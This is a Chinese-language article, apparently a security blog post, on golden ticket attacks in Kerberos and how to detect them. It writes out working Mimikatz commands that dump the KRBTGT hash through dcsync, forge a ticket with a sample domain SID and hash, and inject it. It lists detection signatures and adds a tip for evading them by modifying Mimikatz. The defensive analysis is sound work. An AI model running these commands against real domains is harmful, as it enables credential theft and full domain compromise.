浅谈mimikatz黄金票据攻击特征检测
字数 1342 2025-08-06 20:12:44

Mimikatz黄金票据攻击特征检测与分析

0x01 黄金票据概述

黄金票据(Golden Ticket)攻击利用了Kerberos身份验证协议中的漏洞,该协议自Windows 2000以来一直是Microsoft的默认身份验证协议。

Kerberos身份验证正常流程

  1. Kerberos使用密钥分发中心(KDC)作为受信任的第三方身份验证服务
  2. 每个域控制器都运行KDC服务
  3. 用户认证时,KDC会发出票据授予票据(TGT),包含:
    • 唯一会话密钥
    • 时间戳(通常有效期为8-10小时)
  4. 访问资源时,客户端只需发送TGT证明最近已通过认证

0x02 Mimikatz实施黄金票据攻击

实验环境

  • 域控制器:Windows Server 2012 R2 Standard
  • 域用户:Windows 10专业版

伪造黄金票据所需条件

  1. 域名称
  2. 域的SID值
  3. 域的KRBTGT账号的HASH
  4. 伪造的用户名(任意)

攻击步骤

  1. 提权并导出KRBTGT的HASH

    privilege::debug
    lsadump::dcsync /domain:test.com /all /csv
    lsadump::dcsync /domain:test.com /user:krbtgt
    
  2. 生成黄金票据(.kirbi文件)

    kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-369729056-3910723598-3583767373 /krbtgt:ad000f5ff0d6d8a114d343f164691809 /ticket:ticket.kirbi
    

    参数说明:

    • /admin: 伪造的用户名
    • /domain: 域名称
    • /sid: SID值(去掉最后一个"-"后面的值)
    • /krbtgt: KRBTGT的HASH值
    • /ticket: 生成的票据名称
  3. 测试票据有效性

    • 初始无法访问域控制器的共享文件夹
    • 使用普通用户通过Mimikatz注入票据:
      kerberos::purge
      kerberos::ptt ticket.kirbi
      
    • 注入后可成功访问共享文件夹

0x03 黄金票据特征分析

通过klist查看注入的票据,可发现以下异常特征:

1. 票据有效期异常

  • 默认生成的票据有效期为10年(代码位置:kuhl_m_kerberos.c第455行)
  • 正常票据有效期为8-10小时

2. 时间参数异常

  • 结束时间与续订时间一致
  • 正常票据的续订时间应超过结束时间
  • (代码位置:kuhl_m_kerberos.c第455行)

3. 加密方式异常

  • 使用RC4加密方式
  • 查看正常票据(#0)可见用户机器支持更安全的AES-256加密
  • 流量分析可见机器支持AES-256加密却未使用

4. 流量解密特征

  • 使用.keytab文件解密Kerberos流量后可看到票据时间信息
  • 生成.keytab文件方法见参考链接

5. 用户权限特征

  • 用户名不重要,仅与User RID和Group RID有关
  • 代码默认生成的User RID为500(管理员)
  • Group RID在代码中定义为固定值(代码位置:kuhl_m_kerberos_pac.c文件179行):
    GROUP_MEMBERSHIP 
    kuhl_m_pac_stringTogroups_defaultGroups[] = {
      {513, DEFAULT_GROUP_ATTRIBUTES}, 
      {512, DEFAULT_GROUP_ATTRIBUTES}, 
      {520, DEFAULT_GROUP_ATTRIBUTES}, 
      {518, DEFAULT_GROUP_ATTRIBUTES}, 
      {519, DEFAULT_GROUP_ATTRIBUTES}
    };
    
  • User RID默认值(代码位置:kuhl_m_kerberos.c文件412行)

6. PAC_INFO结构异常

  • Mimikatz生成的PAC_INFO只有3个部分
  • 正常认证会有4个部分

0x04 检测与防御建议

  1. 检测引擎要求

    • 需能完全解密Kerberos协议
    • 定期导出域环境所有账号密码生成.keytab文件用于解密
  2. 红队规避建议

    • 可自定义Mimikatz代码修改上述数据特征
    • 本文分析基于默认情况下的特征

0x05 参考链接

  1. Microsoft Kerberos协议文档
  2. Kerberos协议详解
  3. 黄金票据攻击分析
  4. 相关技术文章
  5. Mimikatz GitHub仓库
Mimikatz黄金票据攻击特征检测与分析 0x01 黄金票据概述 黄金票据(Golden Ticket)攻击利用了Kerberos身份验证协议中的漏洞,该协议自Windows 2000以来一直是Microsoft的默认身份验证协议。 Kerberos身份验证正常流程 Kerberos使用密钥分发中心(KDC)作为受信任的第三方身份验证服务 每个域控制器都运行KDC服务 用户认证时,KDC会发出票据授予票据(TGT),包含: 唯一会话密钥 时间戳(通常有效期为8-10小时) 访问资源时,客户端只需发送TGT证明最近已通过认证 0x02 Mimikatz实施黄金票据攻击 实验环境 域控制器:Windows Server 2012 R2 Standard 域用户:Windows 10专业版 伪造黄金票据所需条件 域名称 域的SID值 域的KRBTGT账号的HASH 伪造的用户名(任意) 攻击步骤 提权并导出KRBTGT的HASH 生成黄金票据(.kirbi文件) 参数说明: /admin : 伪造的用户名 /domain : 域名称 /sid : SID值(去掉最后一个"-"后面的值) /krbtgt : KRBTGT的HASH值 /ticket : 生成的票据名称 测试票据有效性 初始无法访问域控制器的共享文件夹 使用普通用户通过Mimikatz注入票据: 注入后可成功访问共享文件夹 0x03 黄金票据特征分析 通过 klist 查看注入的票据,可发现以下异常特征: 1. 票据有效期异常 默认生成的票据有效期为10年(代码位置:kuhl_ m_ kerberos.c第455行) 正常票据有效期为8-10小时 2. 时间参数异常 结束时间与续订时间一致 正常票据的续订时间应超过结束时间 (代码位置:kuhl_ m_ kerberos.c第455行) 3. 加密方式异常 使用RC4加密方式 查看正常票据(#0)可见用户机器支持更安全的AES-256加密 流量分析可见机器支持AES-256加密却未使用 4. 流量解密特征 使用.keytab文件解密Kerberos流量后可看到票据时间信息 生成.keytab文件方法见参考链接 5. 用户权限特征 用户名不重要,仅与User RID和Group RID有关 代码默认生成的User RID为500(管理员) Group RID在代码中定义为固定值(代码位置:kuhl_ m_ kerberos_ pac.c文件179行): User RID默认值(代码位置:kuhl_ m_ kerberos.c文件412行) 6. PAC_ INFO结构异常 Mimikatz生成的PAC_ INFO只有3个部分 正常认证会有4个部分 0x04 检测与防御建议 检测引擎要求 : 需能完全解密Kerberos协议 定期导出域环境所有账号密码生成.keytab文件用于解密 红队规避建议 : 可自定义Mimikatz代码修改上述数据特征 本文分析基于默认情况下的特征 0x05 参考链接 Microsoft Kerberos协议文档 Kerberos协议详解 黄金票据攻击分析 相关技术文章 Mimikatz GitHub仓库